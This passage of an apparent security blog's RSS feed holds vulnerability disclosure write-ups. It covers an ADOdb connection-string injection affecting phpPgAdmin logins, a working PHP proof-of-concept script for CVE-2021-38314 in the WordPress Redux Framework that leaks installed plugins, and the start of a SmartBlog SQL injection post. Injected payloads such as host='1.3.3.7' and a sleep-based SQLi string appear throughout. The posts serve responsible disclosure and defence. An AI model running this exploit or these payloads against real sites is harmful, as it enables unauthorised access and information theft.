&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;#39;testinguser&amp;#39; host=&amp;#39;1.3.3.7&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;and the connection string would become&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;port=5432 user=&amp;#39;testinguser&amp;#39; host=&amp;#39;1.3.3.7&amp;#39; password=&amp;#39;gfafas&amp;#39; dbname=&amp;#39;template1&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This means we can login to our server to get past the login before exploiting other bugs in the phpPgAdmin panel. It can also reveal the backend IP of a server if it is behind caching or DDoS protection.&lt;/p&gt;
&lt;p&gt;Another impact of this is that it can be used to bypass weak password filters that phpPgAdmin implemented.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$bad_usernames &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;array&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;pgsql&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;postgres&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;root&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;administrator&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$username &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;strtolower&lt;/span&gt;($server_info[&lt;span style="color:#e6db74"&gt;&amp;#39;username&amp;#39;&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; ($server_info[&lt;span style="color:#e6db74"&gt;&amp;#39;password&amp;#39;&lt;/span&gt;] &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;in_array&lt;/span&gt;($username, $bad_usernames)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;unset&lt;/span&gt;($_SESSION[&lt;span style="color:#e6db74"&gt;&amp;#39;webdbLogin&amp;#39;&lt;/span&gt;][$_REQUEST[&lt;span style="color:#e6db74"&gt;&amp;#39;server&amp;#39;&lt;/span&gt;]]);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $msg &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $lang[&lt;span style="color:#e6db74"&gt;&amp;#39;strlogindisallowed&amp;#39;&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;include&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;./login.php&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;exit&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
If I use &lt;code&gt;'' lol=''&lt;/code&gt; as a password then I pass the empty password check but in the connection string my password is effectively empty. The same applies to the username checks.&lt;/p&gt;
&lt;p&gt;I also explored adding other options to the postgres connection string but was not able to find anything interesting.&lt;/p&gt;
&lt;h1 id="patching" &gt;Patching
&lt;/h1&gt;&lt;p&gt;After reporting the issue on Huntr.dev &lt;a href="https://github.com/dregad"&gt;Damien Regad&lt;/a&gt; (one of the ADOdb maintainers) responded and produced a patch.
As described in the &lt;a href="https://github.com/ADOdb/ADOdb/security/advisories/GHSA-65mj-7c86-79jf"&gt;advisory&lt;/a&gt; the simplest patch is removing this line:
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;strncmp&lt;/span&gt;($s,&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;) &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;substr&lt;/span&gt;($s,$len&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;) &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; $s; &lt;span style="color:#75715e"&gt;// already quoted
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/p&gt;
&lt;h1 id="coming-soon" &gt;Coming Soon
&lt;/h1&gt;&lt;p&gt;We did find more security issues in phpPgAdmin but these are &lt;a href="https://github.com/phppgadmin/phppgadmin/issues/142"&gt;still awaiting a response&lt;/a&gt; from them and will be released some time in the future.&lt;/p&gt;
&lt;h1 id="timeline" &gt;Timeline
&lt;/h1&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;28/10/2021&lt;/td&gt;
&lt;td&gt;&lt;a href="https://huntr.dev/bounties/bdf5f216-4499-4225-a737-b28bc6f5801c/"&gt;Reported ADOdb bug on Huntr.dev&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14/01/2022&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/ADOdb/ADOdb/security/advisories/GHSA-65mj-7c86-79jf"&gt;Patch and Advisory Released&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;26/01/2022&lt;/td&gt;
&lt;td&gt;This blog post was released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>Proof of Concept for CVE-2021-38314 (Redux Framework)</title><link>/posts/redux_wordpress/</link><pubDate>Mon, 04 Oct 2021 00:00:00 +0000</pubDate><guid>/posts/redux_wordpress/</guid><description>&lt;p&gt;In order to understand this bug I first read through the &lt;a href="https://www.wordfence.com/blog/2021/09/over-1-million-sites-affected-by-redux-framework-vulnerabilities/"&gt;Wordfence blog post&lt;/a&gt; and then read through through the &lt;a href="https://github.com/reduxframework/redux-framework/releases/tag/4.2.11"&gt;Redux Framework source code&lt;/a&gt; to fill in the gaps. I also installed Wordpress with this plugin so that I didn&amp;rsquo;t have to test things blindly.&lt;/p&gt;
&lt;p&gt;The relevant code is in &lt;strong&gt;inc/class.redux_instances.php&lt;/strong&gt;.
The first hook I looked at is this one:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$hash &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;md5&lt;/span&gt;( &lt;span style="color:#a6e22e"&gt;trailingslashit&lt;/span&gt;( &lt;span style="color:#a6e22e"&gt;network_site_url&lt;/span&gt;() ) &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;-redux&amp;#39;&lt;/span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;add_action&lt;/span&gt;( &lt;span style="color:#e6db74"&gt;&amp;#39;wp_ajax_nopriv_&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; $hash, &lt;span style="color:#66d9ef"&gt;array&lt;/span&gt;( $this, &lt;span style="color:#e6db74"&gt;&amp;#39;tracking_arg&amp;#39;&lt;/span&gt; ) );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;add_action&lt;/span&gt;( &lt;span style="color:#e6db74"&gt;&amp;#39;wp_ajax_&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; $hash, &lt;span style="color:#66d9ef"&gt;array&lt;/span&gt;( $this, &lt;span style="color:#e6db74"&gt;&amp;#39;tracking_arg&amp;#39;&lt;/span&gt; ) );&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In Wordpress the &lt;strong&gt;add_action()&lt;/strong&gt; function with the first argument of &lt;strong&gt;wp_ajax_&lt;/strong&gt; or &lt;strong&gt;wp_ajax_nopriv_&lt;/strong&gt; will create an ajax action that you can access from &lt;strong&gt;wp-admin/admin-ajax.php&lt;/strong&gt;. It took me a while to realise that &lt;strong&gt;wp_ajax_&lt;/strong&gt; or &lt;strong&gt;wp_ajax_nopriv_&lt;/strong&gt; is not included in the action name when you access it. Also nopriv means you do not have to be logged in to access the ajax function.&lt;/p&gt;
&lt;p&gt;Another thing to note here is that &lt;strong&gt;network_site_url&lt;/strong&gt; may be different than the url you are accessing the site from as I found in one of my bugbounty reports.
So that&amp;rsquo;s the first part of the PoC script:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$target &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;https://target.com&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$key1 &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;md5&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$target&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/-redux&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$key2 &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;file_get_contents&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$target&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/wp-admin/admin-ajax.php?action=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$key1&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Next we see what that function actually does
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;tracking_arg&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;md5&lt;/span&gt;( &lt;span style="color:#a6e22e"&gt;Redux_Helpers&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;get_auth_key_secret_key&lt;/span&gt;() &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;-redux&amp;#39;&lt;/span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;die&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;It returns a hash of the &lt;strong&gt;auth_key_secret_key&lt;/strong&gt; with &amp;ldquo;-redux&amp;rdquo; appended. This is great as it is what we need to access another function.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$hash &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;md5&lt;/span&gt;( &lt;span style="color:#a6e22e"&gt;md5&lt;/span&gt;( &lt;span style="color:#a6e22e"&gt;Redux_Helpers&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;get_auth_key_secret_key&lt;/span&gt;() &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;-redux&amp;#39;&lt;/span&gt; ) &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;-support&amp;#39;&lt;/span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;add_action&lt;/span&gt;( &lt;span style="color:#e6db74"&gt;&amp;#39;wp_ajax_nopriv_&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; $hash, &lt;span style="color:#66d9ef"&gt;array&lt;/span&gt;( $this, &lt;span style="color:#e6db74"&gt;&amp;#39;support_args&amp;#39;&lt;/span&gt; ) );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;add_action&lt;/span&gt;( &lt;span style="color:#e6db74"&gt;&amp;#39;wp_ajax_&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; $hash, &lt;span style="color:#66d9ef"&gt;array&lt;/span&gt;( $this, &lt;span style="color:#e6db74"&gt;&amp;#39;support_args&amp;#39;&lt;/span&gt; ) );&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;We just need to take the response from &lt;strong&gt;tracking_arg()&lt;/strong&gt;, append &amp;ldquo;-support&amp;rdquo; and md5 it again and thats the new function hook name.&lt;/p&gt;
&lt;p&gt;Before support_args will return anything there is another check in the &lt;strong&gt;trackingObject()&lt;/strong&gt; function (in &lt;strong&gt;inc/class.redux_helpers.php&lt;/strong&gt;) we&amp;rsquo;ll need to pass.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;trackingObject&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $data &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;wp_remote_post&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;http://verify.redux.io&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;array&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;body&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;array&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;hash&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; $_GET[&lt;span style="color:#e6db74"&gt;&amp;#39;action&amp;#39;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;site&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;esc_url&lt;/span&gt;( &lt;span style="color:#a6e22e"&gt;home_url&lt;/span&gt;( &lt;span style="color:#e6db74"&gt;&amp;#39;/&amp;#39;&lt;/span&gt; ) ),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $data[&lt;span style="color:#e6db74"&gt;&amp;#39;body&amp;#39;&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;urldecode&lt;/span&gt;( $data[&lt;span style="color:#e6db74"&gt;&amp;#39;body&amp;#39;&lt;/span&gt;] );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; ( &lt;span style="color:#f92672"&gt;!&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;isset&lt;/span&gt;( $_GET[&lt;span style="color:#e6db74"&gt;&amp;#39;code&amp;#39;&lt;/span&gt;] ) &lt;span style="color:#f92672"&gt;||&lt;/span&gt; $data[&lt;span style="color:#e6db74"&gt;&amp;#39;body&amp;#39;&lt;/span&gt;] &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; $_GET[&lt;span style="color:#e6db74"&gt;&amp;#39;code&amp;#39;&lt;/span&gt;] ) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;die&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Redux_Helpers&lt;/span&gt;&lt;span style="color:#f92672"&gt;::&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;getTrackingObject&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;So what this code does is compare the code param with the output of&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://verify.redux.io/?hash=TheSupportKey&amp;amp;site=http://target.com/
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The trailing slash here is important so don&amp;rsquo;t put a slash at the end of your target when using the PoC script. For this check the domain is the one we&amp;rsquo;re visiting, not the one from the config (&lt;em&gt;usually&lt;/em&gt; these are the same). We get that code from visiting the redux url since we have all the information and can bypass the &lt;strong&gt;trackingObject()&lt;/strong&gt; check.&lt;/p&gt;
&lt;p&gt;Now we can finally call the &lt;strong&gt;support_args()&lt;/strong&gt; object hook and get back a JSON object with a list of the installed plugins and their versions.&lt;/p&gt;
&lt;p&gt;It is also worth noting that if the plugin is vulnerable to CVE-2021-38314 then it will also be vulnerable to CVE-2021-38312 but that requires a contributor-level user account.&lt;/p&gt;
&lt;h1 id="poc-script" &gt;PoC Script
&lt;/h1&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$target &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;https://target.com&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$key1 &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;md5&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$target&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/-redux&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$key2 &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;file_get_contents&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$target&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/wp-admin/admin-ajax.php?action=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$key1&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$key3 &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;md5&lt;/span&gt;($key2&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;-support&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$redux_code &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;file_get_contents&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;http://verify.redux.io/?hash=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$key3&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;amp;site=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$target&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;file_get_contents&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$target&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/wp-admin/admin-ajax.php?action=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$key3&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;amp;code=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$redux_code&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h1 id="timeline" &gt;Timeline
&lt;/h1&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;01/09/2021&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www.wordfence.com/blog/2021/09/over-1-million-sites-affected-by-redux-framework-vulnerabilities/"&gt;Wordfence release blogpost about this CVE&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16/09/2021&lt;/td&gt;
&lt;td&gt;Opened pull request for &lt;a href="https://github.com/projectdiscovery/nuclei-templates/pull/2691"&gt;Nuclei template&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;21/09/2021&lt;/td&gt;
&lt;td&gt;Template added to Nuclei&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;04/10/2021&lt;/td&gt;
&lt;td&gt;Released this blogpost&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>SQLi in SmartBlog CVE-2021-37538</title><link>/posts/smartblog_sqli/</link><pubDate>Sat, 21 Aug 2021 00:00:00 +0000</pubDate><guid>/posts/smartblog_sqli/</guid><description>&lt;p&gt;This blog post details an SQLi I found in the SmartBlog Prestashop module by &lt;a href="https://smartdatasoft.com/"&gt;SmartDataSoft&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;First we need to talk about how the Prestashop pSQL function works and what it does.&lt;br&gt;
pSQL() is intended for string escaping, so for example if you have a query like:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$sql &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;SELECT * FROM myTable WHERE name=&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$name&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If $name has quotes in it then it can break out of the quotes. If $name is &lt;code&gt;james' and sleep(10)-- -&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;then the query would be:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;SELECT&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FROM&lt;/span&gt; myTable &lt;span style="color:#66d9ef"&gt;WHERE&lt;/span&gt; name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;james&amp;#39;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;and&lt;/span&gt; sleep(&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;)&lt;span style="color:#75715e"&gt;-- -&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If our example was sanitised by pSQL it would be something like:&lt;/p&gt;
